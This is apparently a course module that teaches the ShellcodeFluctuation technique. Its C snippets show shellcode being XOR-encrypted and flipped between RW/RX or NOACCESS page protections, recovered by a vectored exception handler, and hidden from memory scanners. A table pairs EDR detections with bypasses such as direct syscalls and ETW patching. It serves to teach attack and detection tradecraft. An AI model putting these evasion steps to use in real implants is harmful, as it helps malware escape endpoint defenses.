Module 3: VirtualProtect & Page Permissions
How memory page protections work, why toggling RW/RX matters, and the PAGE_NOACCESS alternative mode.
Module Objective
Understand Windows memory page protection constants, how VirtualProtect changes them at runtime, why ShellcodeFluctuation toggles between PAGE_READWRITE and PAGE_EXECUTE_READ, the alternative PAGE_NOACCESS mode with Vectored Exception Handling, and the working-set side effects of protection changes.
1. Windows Page Protection Constants
Every virtual memory page (4 KB on x86-64) has an associated protection attribute that controls what operations are permitted. The Memory Manager enforces these at the hardware level via Page Table Entries (PTEs).
| Constant | Value | Read | Write | Execute | Use Case |
|---|---|---|---|---|---|
PAGE_NOACCESS | 0x01 | No | No | No | Guard pages, decommitted memory |
PAGE_READONLY | 0x02 | Yes | No | No | Read-only data sections |
PAGE_READWRITE | 0x04 | Yes | Yes | No | Heap, stack, writable data |
PAGE_EXECUTE | 0x10 | No | No | Yes | Rare in practice |
PAGE_EXECUTE_READ | 0x20 | Yes | No | Yes | Normal code sections (.text) |
PAGE_EXECUTE_READWRITE | 0x40 | Yes | Yes | Yes | Self-modifying code (suspicious!) |
RWX Is a Red Flag
PAGE_EXECUTE_READWRITE (0x40) allows simultaneous read, write, and execute — which is almost never needed by legitimate applications. Memory scanners flag RWX pages immediately. ShellcodeFluctuation never uses RWX. Instead, it toggles between PAGE_READWRITE (writable, not executable) and PAGE_EXECUTE_READ (executable, not writable).
2. The VirtualProtect API
VirtualProtect changes the protection attributes of committed virtual memory pages. It is the core API that enables ShellcodeFluctuation's memory toggling.
// VirtualProtect signature
BOOL VirtualProtect(
LPVOID lpAddress, // Starting address of the region
SIZE_T dwSize, // Size of the region (rounded up to page boundary)
DWORD flNewProtect, // New protection constant
PDWORD lpflOldProtect // Receives the previous protection
);
// Example: Toggle shellcode from RX to RW
DWORD oldProtect;
VirtualProtect(
shellcodeBase, // Base address of shellcode allocation
shellcodeSize, // Size of shellcode region
PAGE_READWRITE, // New protection: writable, NOT executable
&oldProtect // Will receive PAGE_EXECUTE_READ (0x20)
);
Key behaviors of VirtualProtect:
VirtualProtect Behavior
- Page granularity — protection is applied at page boundaries (4 KB). If
dwSizespans partial pages, the entire affected pages are changed - Returns old protection — the
lpflOldProtectparameter receives the previous protection, which must be saved for later restoration - Cannot cross allocation boundaries — the address range must be within a single allocation (one
VirtualAlloccall). Crossing boundaries causes failure - Thread-safe — protection changes are atomic at the page level. Other threads see either the old or new protection, never an intermediate state
3. The RW / RX Toggle Pattern
ShellcodeFluctuation's Mode 1 uses a two-state toggle between PAGE_READWRITE and PAGE_EXECUTE_READ. This is the primary fluctuation mode:
// State 1: Shellcode is executable (normal operation)
// Protection: PAGE_EXECUTE_READ (0x20)
// Content: Cleartext shellcode
// Scanner: DETECTS as "private executable memory"
// ---- SLEEP REQUESTED ----
// Step 1: Flip to writable
DWORD oldProt;
VirtualProtect(shellcodeBase, shellcodeSize,
PAGE_READWRITE, &oldProt);
// Protection: PAGE_READWRITE (0x04)
// Content: Cleartext shellcode (briefly!)
// Scanner: Would see writable private memory (not flagged as executable)
// Step 2: Encrypt in-place
xor32(shellcodeBase, shellcodeSize, xorKey);
// Protection: PAGE_READWRITE (0x04)
// Content: Encrypted gibberish
// Scanner: Sees non-executable memory with random data = CLEAN
// ---- ACTUAL SLEEP HAPPENS HERE ----
// Step 3: Decrypt in-place
xor32(shellcodeBase, shellcodeSize, xorKey);
// Protection: PAGE_READWRITE (0x04)
// Content: Cleartext shellcode (briefly!)
// Step 4: Flip back to executable
VirtualProtect(shellcodeBase, shellcodeSize,
PAGE_EXECUTE_READ, &oldProt);
// Protection: PAGE_EXECUTE_READ (0x20)
// Content: Cleartext shellcode
// Scanner: DETECTS - but shellcode is already executing again
Protection State Machine
Executing
Brief transition
SLEEPING (safe)
Brief transition
Executing
4. Mode 2: PAGE_NOACCESS with VEH
ShellcodeFluctuation offers an alternative mode that uses PAGE_NOACCESS instead of PAGE_READWRITE. This creates a stronger evasion signal but requires a more complex recovery mechanism.
// Mode 2: PAGE_NOACCESS fluctuation
// Before sleep:
VirtualProtect(shellcodeBase, shellcodeSize,
PAGE_NOACCESS, &oldProt);
xor32(shellcodeBase, shellcodeSize, xorKey);
// Note: We must encrypt BEFORE setting NOACCESS, or we
// could set NOACCESS first (can't read/write after that).
// Actually, the order matters: set RW first, encrypt,
// then set NOACCESS.
// The actual sequence for Mode 2:
// 1. VirtualProtect -> PAGE_READWRITE
// 2. XOR encrypt
// 3. VirtualProtect -> PAGE_NOACCESS
// 4. Sleep
// Recovery happens via Vectored Exception Handler
When the shellcode wakes and the thread tries to execute code in the PAGE_NOACCESS region, an access violation exception occurs. A pre-registered Vectored Exception Handler (VEH) catches this and performs the decryption and protection restoration:
// Vectored Exception Handler for PAGE_NOACCESS recovery
LONG CALLBACK VehHandler(PEXCEPTION_POINTERS pExceptionInfo) {
// Check if the fault address is within our shellcode region
PVOID faultAddr = pExceptionInfo->ExceptionRecord->ExceptionAddress;
if (pExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION
&& faultAddr >= shellcodeBase
&& faultAddr < (BYTE*)shellcodeBase + shellcodeSize) {
// Step 1: Make writable so we can decrypt
DWORD oldProt;
VirtualProtect(shellcodeBase, shellcodeSize,
PAGE_READWRITE, &oldProt);
// Step 2: Decrypt
xor32(shellcodeBase, shellcodeSize, xorKey);
// Step 3: Restore executable
VirtualProtect(shellcodeBase, shellcodeSize,
PAGE_EXECUTE_READ, &oldProt);
// Continue execution - the faulting instruction will retry
return EXCEPTION_CONTINUE_EXECUTION;
}
// Not our fault - pass to next handler
return EXCEPTION_CONTINUE_SEARCH;
}
Mode 2 Advantages
- Stronger signal during sleep —
PAGE_NOACCESSmemory cannot be read, written, or executed. Even if a scanner tries to read the memory, it gets an access violation - Automatic recovery — the VEH triggers on the first instruction the thread executes after waking, with no explicit "wake" code needed
- Exception-based flow — no need to call
VirtualProtectfrom within the hook handler on the wake path
Mode 2 Disadvantages
- VEH registration is detectable — tools can enumerate registered vectored exception handlers
- Exception overhead — the access violation and VEH dispatch add latency to the wake path (~microseconds, but nonzero)
- Complexity — the VEH handler must correctly identify shellcode faults vs. legitimate exceptions
5. Why Never RWX?
A naive implementation might use PAGE_EXECUTE_READWRITE to allow both writing (for encryption) and execution simultaneously. ShellcodeFluctuation explicitly avoids this:
| Approach | During Sleep | During Execution | Detection Risk |
|---|---|---|---|
| Always RWX | RWX + Cleartext | RWX + Cleartext | Maximum — RWX is the strongest IOC |
| Toggle RWX/RW | RW + Encrypted | RWX + Cleartext | High — RWX still present during execution |
| Toggle RW/RX (Mode 1) | RW + Encrypted | RX + Cleartext | Minimal — no RWX at any time |
| Toggle NA/RX (Mode 2) | NA + Encrypted | RX + Cleartext | Minimal — inaccessible during sleep |
The W^X (Write XOR Execute) principle states that memory should be either writable or executable, never both simultaneously. ShellcodeFluctuation enforces W^X at all times, matching legitimate application behavior.
6. Working Set Implications
Changing page protections has a subtle but detectable side effect: it can cause pages to be "softfaulted" back into the process working set, creating private copies of pages that were previously shared.
// When VirtualProtect changes protection on private memory:
//
// 1. The kernel updates the Page Table Entry (PTE)
// 2. TLB entries are invalidated (TLB flush for affected pages)
// 3. The page's VAD (Virtual Address Descriptor) is updated
//
// For PRIVATE memory (VirtualAlloc):
// - No copy-on-write issues
// - The page already has a private PTE
// - Minimal side effects
//
// For MAPPED memory (e.g., kernel32.dll):
// - Changing protection triggers copy-on-write
// - Creates a private copy of the affected page
// - This is how Moneta detects Sleep hook modifications
The kernel32 Copy-on-Write IOC
When ShellcodeFluctuation installs its inline hook on kernel32!Sleep, it must write to kernel32's .text section. Because kernel32 is a memory-mapped file, writing triggers copy-on-write, creating a private page. Moneta detects this as "Modified code in kernel32.dll" — even if the hook bytes themselves are temporarily removed. The private page evidence persists. This IOC is addressed in Module 5 by temporarily unhooking before sleep.
7. VirtualProtect Call Monitoring
EDR products can monitor VirtualProtect calls as a detection vector. Frequent toggling between RW and RX on the same region is itself suspicious:
| Detection Method | What It Catches | Mitigation |
|---|---|---|
| ETW events | VirtualProtect calls logged via ETW (Microsoft-Windows-Kernel-Memory) | ETW patching (separate technique, not part of ShellcodeFluctuation) |
| Ntdll hooks | EDR hook on NtProtectVirtualMemory sees protection changes | Direct syscalls to bypass ntdll hooks |
| Kernel callbacks | PsSetCreateProcessNotifyRoutine and related callbacks | Not easily mitigated from user mode |
| Pattern analysis | Periodic RW/RX toggling correlated with Sleep intervals | Jitter on sleep intervals, randomized timing |
ShellcodeFluctuation accepts the VirtualProtect call as a necessary cost. The protection change is a single call per sleep cycle, occurring at the natural boundary between active and idle states. Most EDR products do not flag individual VirtualProtect calls on private memory.
8. Practical Protection Sequence
Putting it all together, here is the complete protection sequence for both modes as they relate to VirtualProtect:
// Mode 1 (PAGE_READWRITE): Complete protection sequence
void fluctuateMode1(LPVOID base, SIZE_T size, DWORD key) {
DWORD oldProt;
// Entering sleep: RX -> RW -> encrypt -> sleep
VirtualProtect(base, size, PAGE_READWRITE, &oldProt);
xor32((BYTE*)base, size, key);
// ... sleep ...
xor32((BYTE*)base, size, key);
VirtualProtect(base, size, PAGE_EXECUTE_READ, &oldProt);
}
// Mode 2 (PAGE_NOACCESS): Complete protection sequence
void fluctuateMode2(LPVOID base, SIZE_T size, DWORD key) {
DWORD oldProt;
// Entering sleep: RX -> RW -> encrypt -> NOACCESS -> sleep
VirtualProtect(base, size, PAGE_READWRITE, &oldProt);
xor32((BYTE*)base, size, key);
VirtualProtect(base, size, PAGE_NOACCESS, &oldProt);
// ... sleep ...
// Recovery via VEH: NOACCESS fault -> RW -> decrypt -> RX
}
Knowledge Check
Q1: Why does ShellcodeFluctuation never use PAGE_EXECUTE_READWRITE (RWX)?
Q2: How does Mode 2 (PAGE_NOACCESS) recover when the shellcode thread wakes up?
Q3: What side effect does hooking kernel32!Sleep produce that Moneta can detect?